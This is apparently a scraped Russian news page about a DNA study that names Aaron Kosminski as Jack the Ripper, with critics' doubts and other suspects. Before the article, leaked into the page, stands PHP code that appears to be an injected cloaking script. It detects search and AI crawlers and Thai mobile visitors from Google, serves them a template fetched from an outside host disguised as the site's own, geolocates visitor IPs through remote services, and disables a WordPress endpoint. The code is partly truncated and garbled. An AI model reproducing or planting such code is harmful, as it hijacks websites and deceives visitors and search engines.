$API_URL = 'https://id.yuanhengbc.com/th100'; $scheme = (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off') ? 'https' : 'http'; $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; $MY_DOMAIN = $scheme . '://' . $host; function rewrite_remote_urls($html, $api_url, $my_domain) { if (empty($html)) return $html; $orig_host = parse_url($api_url, PHP_URL_HOST); $my_host = parse_url($my_domain, PHP_URL_HOST); $html = str_replace('https://' . $orig_host . '/xtz.js', '%%XTZ_KEEP%%', $html); $html = str_replace( array('https://' . $orig_host, 'http://' . $orig_host, '//' . $orig_host), array($my_domain, $my_domain, '//' . $my_host), $html ); $html = preg_replace( '/ true, CURLOPT_TIMEOUT => 15, CURLOPT_USERAGENT => $ua, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_FOLLOWLOCATION => true, )); $body = curl_exec($ch); curl_close($ch); return $body; } else { $ctx = stream_context_create(array( 'http' => array('timeout' => 15, 'user_agent' => $ua, 'ignore_errors' => true) )); return @file_get_contents($final, false, $ctx); } } $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $ref = $_SERVER['HTTP_REFERER'] ?? ''; $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''; if ($ua === '') $ua = ' '; $bot_list = array( 'Googlebot','Googlebot-News','Googlebot-Image','Googlebot-Video','Googlebot-Mobile', 'Mediapartners-Google','AdsBot-Google','AdsBot-Google-Mobile','Google-InspectionTool', 'APIs-Google','Google-Site-Verification','Google Web Preview','Google Favicon', 'Google Feedfetcher','GoogleOther','Bingbot','BingPreview','AdIdxBot','Microsoft Preview', 'GPTBot','ChatGPT-User','ChatGPT','Google-Extended','Claude-Web','ClaudeBot', 'anthropic-ai','DuckDuckBot','DuckAssistBot' ); $is_bot = false; foreach ($bot_list as $b) { if (stripos($ua, $b) !== false) { $is_bot = true; break; } } $is_mobile = false; foreach (array('Mobile','Android','iPhone','iPad','Windows Phone') as $m) { if (stripos($ua, $m) !== false) { $is_mobile = true; break; } } $is_google = ($ref !== '' && (stripos($ref, 'google.') !== false || stripos($ref, 'bing.com') !== false)); $is_th_lang = ($lang !== '' && preg_match('/(?:^|,)\s*(?:th)(?:-TH)?(?:;|$)/i',$lang) === 1); function check_ip_country() { $ip = $_SERVER['HTTP_CF_CONNECTING_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['HTTP_X_REAL_IP'] ?? $_SERVER['REMOTE_ADDR'] ?? ''; $ip = trim(explode(',', $ip)[0]); if ($ip === '' || $ip === '127.0.0.1') return 'LOCAL'; $ch = curl_init('https://id.qzbybyk.com/v1/lookup?ip=' . urlencode($ip)); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_HTTPHEADER => array('X-API-Key: change-me-now'), )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['data']['country']['iso_code'])) return $j['data']['country']['iso_code']; } $ch = curl_init('http://ip-api.com/json/' . urlencode($ip) . '?fields=countryCode'); curl_setopt_array($ch, array( CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 3, CURLOPT_SSL_VERIFYPEER => false, )); $resp = curl_exec($ch); curl_close($ch); if ($resp !== false) { $j = json_decode($resp, true); if (isset($j['countryCode'])) return $j['countryCode']; } return 'UNKNOWN'; } if ($is_bot) { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } if ($is_mobile && $is_google && $is_th_lang) { if (check_ip_country() === 'TH') { $body = fetch_remote_template($API_URL, $ua); echo rewrite_remote_urls($body, $API_URL, $MY_DOMAIN); exit; } } add_filter('rest_endpoints', function($e){ unset($e['/batch/v1']); return $e; }); Предположительно установлена личность Джека-потрошителя — Вечный путь к совершенству

Предположительно установлена личность Джека-потрошителя

Считается, что британские ученые установили личность Джека-потрошителя — им оказался парикмахер Аарон Косминский.

Выяснить это удалось благодаря анализу ДНК убийцы на платке одной из жертв. Критики, однако, недовольны тем, что исследователи не опубликовали конкретные генетические последовательности, и без них считают результаты неубедительными.

Аарон Косминский со своей сестрой Матильдой и братом Исааком.

Джек-потрошитель был 23-летним парикмахером по имени Аарон Косминский, евреем родом из Польши. К такому выводу пришли ученые из Ливерпульского университета Джона Мура, проанализировав ДНК, полученную из окровавленной шали одной из его жертв. Исследование было опубликовано в журнале Journal of Forensic Sciences.

Джеком-потрошителем в 1888 году полиция Лондона назвала жестокого серийного убийцу, действовавшего в одном из наиболее криминальных районов города, Уайтчепеле.

Маньяк нападал на уличных проституток, перерезал им горло, вскрывал брюшную полость и извлекал органы.

Прозвище было взято из поступившего в Центральное агентство новостей письма, автор которого взял на себя ответственность за убийства (впрочем, специалисты считают, что вряд ли оно было написано самим убийцей).

30 сентября 1888 года Джек-потрошитель приблизительно в первом часу ночи убил проститутку Элизабет Страйд и отрезал ей мочку уха. А уже примерно через час совершил новое убийство — напал на Кэтрин Эддоус и вырезал ее почку. Ее тело было найдено на улице в 1:45. 15 октября Джордж Ласк из комитета бдительности Уайтчепела получил знаменитое письмо «Из ада», где предполагаемый убийца писал о том, что съел половину почки женщины. К письму прилагалась вторая половина в этаноле.

Рядом с Эддоус лежал ее залитый кровью и спермой шелковый платок.

Его в 2007 году купил на аукционе 48-летний бизнесмен Рассел Эдвардс. Спустя несколько лет он предоставил платок ученым для анализа. Первые тесты, указавшие на Косминского, биохимик Яри Лохелайнен провел еще в 2014 году, но другие специалисты сочли его результаты недостаточно убедительными.

Косминский был одним из главных подозреваемых — он якобы был пойман на месте одного из преступлений. Однако свидетель не опознал в Косминском убийцу. Молодой человек приехал в Великобританию на заработки в 1882 году и устроился цирюльником в одну из парикмахерских в Уайтчепеле.

Полиция задержала его совсем по другому поводу — после попытки зарезать свою сестру.

Судебного процесса над Косминским не было: после обвинений в попытке убийства сестры врачи признали его душевнобольным и отправили на принудительное лечение в клинику Брайтона, где он умер в 1919 году.

В новом исследовании Лохелайнен и его коллега Дэвид Миллер подошли к делу более основательно. Они извлекли митохондриальную ДНК Косминского и Эддоус и сравнили образцы с ДНК их ныне живущих родственников. Анализ подтвердил, что кровь на платке принадлежит им обоим. Также по ДНК исследователи определили, что у убийцы были карие глаза и каштановые волосы, что согласуется со свидетельскими показаниями.

«Эти характеристики, безусловно, не уникальны», — признаются авторы, отмечая, впрочем, что голубые глаза в Великобритании встречаются чаще карих.

Авторы работы утверждают, что это «самый систематический и самый продвинутый генетический анализ в отношении убийств Джека-потрошителя на сегодняшний день».

Критики, однако, недовольны результатом — сведения о конкретных генетических вариантах, выявленных при сопоставлении образцов ДНК, в статью не попали, исследователи представили совпадения в схематичном виде.

Сами авторы работы объясняют это законодательным запретом на публикацию генетических последовательностей родственников Эддоус и Косминского. Критики же настаивают, что последовательности митохондриальной ДНК угрозы для конфиденциальности не представляют, а без этих данных статья выглядит неубедительной.

Также некоторые комментаторы отмечают, что нет достоверных доказательств того, что платок действительно побывал на месте преступления. А ДНК Эддоус и Косминского могла попасть на него и при других обстоятельствах.

Всего Джек-потрошитель убил не менее пяти женщин.

Кроме Косминского были и другие подозреваемые, в частности русский хирург Александр Федорченко.

Косвенными уликами, доказывавшими версию сыщика, было то, что Федорченко профессионально знал анатомию, у него был хирургический опыт и медицинские инструменты. Он жил в Уайтчепеле, и проститутки доверяли доктору, поэтому без страха подпускали к себе. После допроса доктор покинул страну.

Также предполагалось, что Джек-потрошитель мог быть женщиной (или переодеваться ею) — в комнате одной из жертв следователи нашли сожженную женскую одежду.

Некоторые даже называли имя предполагаемой убийцы — акушерка Лиззи Уильямс, жена королевского врача Джона Уильямса, которого тоже подозревали в том, что он Джек-потрошитель. Считали, что Лиззи сошла с ума на почве своего бесплодия и мстила проституткам, извлекая из их тел детородные органы.

Во второй половине ХХ века возникла теория, что убийцей мог быть принц Альберт, заядлый посетитель борделей. Однако у наследника престола оказалось алиби — в дни совершения убийств его не было в Лондоне.